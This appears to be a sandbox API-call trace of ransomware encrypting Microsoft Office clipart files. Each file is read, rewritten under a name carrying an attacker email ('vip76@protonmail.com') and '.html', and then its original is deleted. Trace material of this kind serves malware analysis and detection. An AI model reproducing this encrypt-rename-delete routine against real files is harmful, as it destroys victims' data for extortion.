	[0180.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.038] lstrlenW (lpString=".7z") returned 3
	[0180.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.038] lstrlenW (lpString=".dbf") returned 4
	[0180.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.038] lstrlenW (lpString=".1cd") returned 4
	[0180.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.038] lstrlenW (lpString=".jpg") returned 4
	[0180.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.038] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.038] lstrlenW (lpString="J0086420.WMF") returned 12
	[0180.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.039] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=9596) returned 1
	[0180.039] CloseHandle (hObject=0x5bc) returned 1
	[0180.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220
	[0180.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.039] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.039] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.040] GetLastError () returned 0x0
	[0180.040] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x257c, lpOverlapped=0x0) returned 1
	[0180.326] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2580, lpOverlapped=0x0) returned 1
	[0180.327] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.327] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.328] SetEndOfFile (hFile=0x4ac) returned 1
	[0180.328] CloseHandle (hObject=0x4ac) returned 1
	[0180.328] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.328] SetEndOfFile (hFile=0x5bc) returned 1
	[0180.330] CloseHandle (hObject=0x5bc) returned 1
	[0180.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1
	[0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.332] lstrlenW (lpString=".doc") returned 4
	[0180.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.332] lstrlenW (lpString=".docx") returned 5
	[0180.332] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0180.332] lstrlenW (lpString=".pdf") returned 4
	[0180.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.332] lstrlenW (lpString=".xls") returned 4
	[0180.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.332] lstrlenW (lpString=".xlsx") returned 5
	[0180.332] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0180.332] lstrlenW (lpString=".ppt") returned 4
	[0180.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.332] lstrlenW (lpString=".zip") returned 4
	[0180.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.332] lstrlenW (lpString=".rar") returned 4
	[0180.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.332] lstrlenW (lpString=".bz2") returned 4
	[0180.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.332] lstrlenW (lpString=".7z") returned 3
	[0180.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.332] lstrlenW (lpString=".dbf") returned 4
	[0180.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.332] lstrlenW (lpString=".1cd") returned 4
	[0180.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.333] lstrlenW (lpString=".jpg") returned 4
	[0180.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.333] lstrlenW (lpString=".doc") returned 4
	[0180.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.333] lstrlenW (lpString=".docx") returned 5
	[0180.333] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0180.333] lstrlenW (lpString=".pdf") returned 4
	[0180.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.333] lstrlenW (lpString=".xls") returned 4
	[0180.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.333] lstrlenW (lpString=".xlsx") returned 5
	[0180.333] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0180.333] lstrlenW (lpString=".ppt") returned 4
	[0180.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.333] lstrlenW (lpString=".zip") returned 4
	[0180.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.333] lstrlenW (lpString=".rar") returned 4
	[0180.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.333] lstrlenW (lpString=".bz2") returned 4
	[0180.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.333] lstrlenW (lpString=".7z") returned 3
	[0180.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.333] lstrlenW (lpString=".dbf") returned 4
	[0180.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.333] lstrlenW (lpString=".1cd") returned 4
	[0180.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68
	[0180.334] lstrlenW (lpString=".jpg") returned 4
	[0180.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.334] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.334] lstrlenW (lpString="J0089945.WMF") returned 12
	[0180.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.335] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=19898) returned 1
	[0180.335] CloseHandle (hObject=0x5bc) returned 1
	[0180.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220
	[0180.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.335] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.335] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.336] GetLastError () returned 0x0
	[0180.336] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x4dba, lpOverlapped=0x0) returned 1
	[0180.338] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x4dc0, lpOverlapped=0x0) returned 1
	[0180.340] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.340] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.340] SetEndOfFile (hFile=0x4ac) returned 1
	[0180.340] CloseHandle (hObject=0x4ac) returned 1
	[0180.340] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.340] SetEndOfFile (hFile=0x5bc) returned 1
	[0180.344] CloseHandle (hObject=0x5bc) returned 1
	[0180.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1
	[0180.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.345] lstrlenW (lpString=".doc") returned 4
	[0180.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.345] lstrlenW (lpString=".docx") returned 5
	[0180.345] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0180.345] lstrlenW (lpString=".pdf") returned 4
	[0180.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.345] lstrlenW (lpString=".xls") returned 4
	[0180.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.345] lstrlenW (lpString=".xlsx") returned 5
	[0180.345] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0180.345] lstrlenW (lpString=".ppt") returned 4
	[0180.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.345] lstrlenW (lpString=".zip") returned 4
	[0180.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.345] lstrlenW (lpString=".rar") returned 4
	[0180.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.345] lstrlenW (lpString=".bz2") returned 4
	[0180.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.345] lstrlenW (lpString=".7z") returned 3
	[0180.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.345] lstrlenW (lpString=".dbf") returned 4
	[0180.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.345] lstrlenW (lpString=".1cd") returned 4
	[0180.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.345] lstrlenW (lpString=".jpg") returned 4
	[0180.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.346] lstrlenW (lpString=".doc") returned 4
	[0180.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.346] lstrlenW (lpString=".docx") returned 5
	[0180.346] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0180.346] lstrlenW (lpString=".pdf") returned 4
	[0180.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.346] lstrlenW (lpString=".xls") returned 4
	[0180.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.346] lstrlenW (lpString=".xlsx") returned 5
	[0180.346] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0180.346] lstrlenW (lpString=".ppt") returned 4
	[0180.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.346] lstrlenW (lpString=".zip") returned 4
	[0180.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.346] lstrlenW (lpString=".rar") returned 4
	[0180.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.346] lstrlenW (lpString=".bz2") returned 4
	[0180.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.346] lstrlenW (lpString=".7z") returned 3
	[0180.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.346] lstrlenW (lpString=".dbf") returned 4
	[0180.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.346] lstrlenW (lpString=".1cd") returned 4
	[0180.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0180.346] lstrlenW (lpString=".jpg") returned 4
	[0180.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.347] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.347] lstrlenW (lpString="J0089992.WMF") returned 12
	[0180.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.347] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=15680) returned 1
	[0180.347] CloseHandle (hObject=0x5bc) returned 1
	[0180.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220
	[0180.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.348] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.348] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.348] GetLastError () returned 0x0
	[0180.349] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x3d40, lpOverlapped=0x0) returned 1
	[0180.351] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x3d50, lpOverlapped=0x0) returned 1
	[0180.352] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.352] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.352] SetEndOfFile (hFile=0x4ac) returned 1
	[0180.352] CloseHandle (hObject=0x4ac) returned 1
	[0180.352] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.352] SetEndOfFile (hFile=0x5bc) returned 1
	[0180.355] CloseHandle (hObject=0x5bc) returned 1
	[0180.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1
	[0180.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.357] lstrlenW (lpString=".doc") returned 4
	[0180.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.357] lstrlenW (lpString=".docx") returned 5
	[0180.357] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0180.357] lstrlenW (lpString=".pdf") returned 4
	[0180.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.357] lstrlenW (lpString=".xls") returned 4
	[0180.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.357] lstrlenW (lpString=".xlsx") returned 5
	[0180.357] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0180.357] lstrlenW (lpString=".ppt") returned 4
	[0180.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.357] lstrlenW (lpString=".zip") returned 4
	[0180.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.357] lstrlenW (lpString=".rar") returned 4
	[0180.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.357] lstrlenW (lpString=".bz2") returned 4
	[0180.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.357] lstrlenW (lpString=".7z") returned 3
	[0180.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.357] lstrlenW (lpString=".dbf") returned 4
	[0180.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.357] lstrlenW (lpString=".1cd") returned 4
	[0180.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.358] lstrlenW (lpString=".jpg") returned 4
	[0180.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.358] lstrlenW (lpString=".doc") returned 4
	[0180.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.358] lstrlenW (lpString=".docx") returned 5
	[0180.358] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0180.358] lstrlenW (lpString=".pdf") returned 4
	[0180.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.358] lstrlenW (lpString=".xls") returned 4
	[0180.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.358] lstrlenW (lpString=".xlsx") returned 5
	[0180.358] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0180.358] lstrlenW (lpString=".ppt") returned 4
	[0180.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.358] lstrlenW (lpString=".zip") returned 4
	[0180.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.358] lstrlenW (lpString=".rar") returned 4
	[0180.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.358] lstrlenW (lpString=".bz2") returned 4
	[0180.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
